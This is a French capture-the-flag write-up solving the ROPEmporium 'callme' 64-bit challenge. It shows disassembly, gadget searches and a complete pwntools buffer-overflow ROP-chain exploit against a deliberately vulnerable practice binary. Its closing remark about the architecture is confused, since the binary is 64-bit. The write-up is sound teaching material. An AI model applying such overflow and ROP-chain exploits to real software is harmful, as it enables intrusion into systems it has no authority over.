Note

Troisième exo de ROPEmporium, un peu plus court que les deux précédents puisqu’il reprend des concepts qu’on connaît déjà donc pas trop de difficulté. Par contre un petit problème au niveau de la consigne il me semble.

Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.

Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.

File information

Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file callme 

callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped

On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé Maintenant le checksec

checksec callme

[*] '/home/conflict/ropemporium/callme_x64/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire

Exploitation

Voici la description:

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d 
e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. 

For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

On peut quand même le lancer et voir ce qu’il fait:

2023-01-15-150610_1072x508_scrot

Comme pour le précédent, on voit qu’on peut overflow le buffer en envoyant un nombre conséquent de bytes. Désassemblons le main pour voir plus clairement ce qu’il se passe:

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400847 <+0>: push   rbp
   0x0000000000400848 <+1>: mov    rbp,rsp
   0x000000000040084b <+4>: mov    rax,QWORD PTR [rip+0x20081e]        # 0x601070 <stdout@@GLIBC_2.2.5>
   0x0000000000400852 <+11>:  mov    ecx,0x0
   0x0000000000400857 <+16>:  mov    edx,0x2
   0x000000000040085c <+21>:  mov    esi,0x0
   0x0000000000400861 <+26>:  mov    rdi,rax
   0x0000000000400864 <+29>:  call   0x400730 <setvbuf@plt>
   0x0000000000400869 <+34>:  mov    edi,0x4009c8
   0x000000000040086e <+39>:  call   0x4006d0 <puts@plt>
   0x0000000000400873 <+44>:  mov    edi,0x4009df
   0x0000000000400878 <+49>:  call   0x4006d0 <puts@plt>
   0x000000000040087d <+54>:  mov    eax,0x0
   0x0000000000400882 <+59>:  call   0x400898 <pwnme>
   0x0000000000400887 <+64>:  mov    edi,0x4009e7
   0x000000000040088c <+69>:  call   0x4006d0 <puts@plt>
   0x0000000000400891 <+74>:  mov    eax,0x0
   0x0000000000400896 <+79>:  pop    rbp
   0x0000000000400897 <+80>:  ret    
End of assembler dump.

Comme d’habitude, il fait appel à la fonction pwnme, désassemblons-la elle aussi:

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x0000000000400898 <+0>: push   rbp
   0x0000000000400899 <+1>: mov    rbp,rsp
   0x000000000040089c <+4>: sub    rsp,0x20
   0x00000000004008a0 <+8>: lea    rax,[rbp-0x20]
   0x00000000004008a4 <+12>:  mov    edx,0x20
   0x00000000004008a9 <+17>:  mov    esi,0x0
   0x00000000004008ae <+22>:  mov    rdi,rax
   0x00000000004008b1 <+25>:  call   0x400700 <memset@plt>
   0x00000000004008b6 <+30>:  mov    edi,0x4009f0
   0x00000000004008bb <+35>:  call   0x4006d0 <puts@plt>
   0x00000000004008c0 <+40>:  mov    edi,0x400a13
   0x00000000004008c5 <+45>:  mov    eax,0x0
   0x00000000004008ca <+50>:  call   0x4006e0 <printf@plt>
   0x00000000004008cf <+55>:  lea    rax,[rbp-0x20]
   0x00000000004008d3 <+59>:  mov    edx,0x200
   0x00000000004008d8 <+64>:  mov    rsi,rax
   0x00000000004008db <+67>:  mov    edi,0x0
   0x00000000004008e0 <+72>:  call   0x400710 <read@plt>
   0x00000000004008e5 <+77>:  mov    edi,0x400a16
   0x00000000004008ea <+82>:  call   0x4006d0 <puts@plt>
   0x00000000004008ef <+87>:  nop
   0x00000000004008f0 <+88>:  leave  
   0x00000000004008f1 <+89>:  ret    
End of assembler dump.

On voit donc que la fonction read va lire 0x200 bytes puis les stocker dans un buffer de 0x20 bytes, ce qui est largement suffisant pour l’overflow et faire ce qu’on veut.

Maintenant, il nous faut les adresses des trois fonctions callme, pour les trouver, on peut par exemple utiliser pwndbg:

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004006a8  _init
0x00000000004006d0  puts@plt
0x00000000004006e0  printf@plt
0x00000000004006f0  callme_three@plt
0x0000000000400700  memset@plt
0x0000000000400710  read@plt
0x0000000000400720  callme_one@plt
0x0000000000400730  setvbuf@plt
0x0000000000400740  callme_two@plt
0x0000000000400750  exit@plt
0x0000000000400760  _start
0x0000000000400790  _dl_relocate_static_pie
0x00000000004007a0  deregister_tm_clones
0x00000000004007d0  register_tm_clones
0x0000000000400810  __do_global_dtors_aux
0x0000000000400840  frame_dummy
0x0000000000400847  main
0x0000000000400898  pwnme
0x00000000004008f2  usefulFunction
0x000000000040093c  usefulGadgets
0x0000000000400940  __libc_csu_init
0x00000000004009b0  __libc_csu_fini
0x00000000004009b4  _fini

On voit que:

  • callme_one est située à 0x00400720
  • callme_two est située à 0x00400740
  • callme_three est située à 0x004006f0

Maintenant, il nous faut un gadget qui va pop rdi, rsi et rdx puisque ce sont les registres utilisés pour les 3 premiers arguments (cf. linux calling convention stack frame)

On va utiliser ROPgadget pour le trouver:

ROPgadget --binary callme | grep "pop rdi ; pop rsi ; pop rdx"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

On a notre gadget, et on peut totalement l’utiliser 3 fois pour chaque fonction, donc pas besoin d’en trouver deux autres.

Récapitulons avant de commencer notre exploit:

  • On peut commencer à réecrire la sauvegarde de rip en entrant 40 bytes dans l’input
  • On peut mettre les valeurs qu’on veut dans rdi, rsi et rdx grâce à notre gadget
  • On peut appeller chaque fonction une par une avec les arguments qu’on veut

Très bien, commençons notre exploit:

#!/usr/bin/env python3

from pwn import *

context.binary = binary = ELF("./callme")

p = process()

p.recv()

padding = b"A"*0x20
rbp = b"B"*0x8

pop_rdi_rsi_rdx = p64(0x000000000040093c)

callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)

payload = padding + rbp


# On met les arguments dans les registres, puis on jump à la fonction callme_one
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_one

# Pareil, on remet les arguments dans les registres et cette fois on jump à callme_two
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_two

# ...
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_three

p.sendline(payload)
print(p.recvall())

Testons le pour s’assurer qu’il fonctionne:

2023-01-15-152741_1107x131_scrot

Et on voit que le programme a segfault… Pour rappel je suis sous Ubuntu 22.04 donc mon système est affecté par les problèmes de stack alignment. On va donc ajouter un ret juste après notre padding, qu’on peut trouver avec ROPgadget

ROPgadget --binary callme

Gadgets information
============================================================
<...>
0x00000000004006be : ret
<...>
Unique gadgets found: 110

Final Payload

Complétons notre exploit avec ce ret:

#!/usr/bin/env python3

from pwn import *

context.binary = binary = ELF("./callme")

p = process()

p.recv()

padding = b"A"*0x20
rbp = b"B"*0x8

ret = p64(0x00000000004006be)
pop_rdi_rsi_rdx = p64(0x000000000040093c)

callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)

payload = padding + rbp

# ret gadget
payload += ret

# On met les arguments dans les registres, puis on jump à la fonction callme_one
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_one

# Pareil, on remet les arguments dans les registres et cette fois on jump à callme_two
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_two

# ...
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_three

p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[3].decode('utf-8'))

Et cette fois, il devrait fonctionner:

2023-01-15-153142_994x552_scrot

Parfait, on a réussi à récupérer le flag

Note: Nous ne sommes pas en x86_x64 donc nous n’aurions pas dû avoir besoin de doubler les valeurs des arguments comme dit dans la consigne mais ça ne fonctionnait pas sans…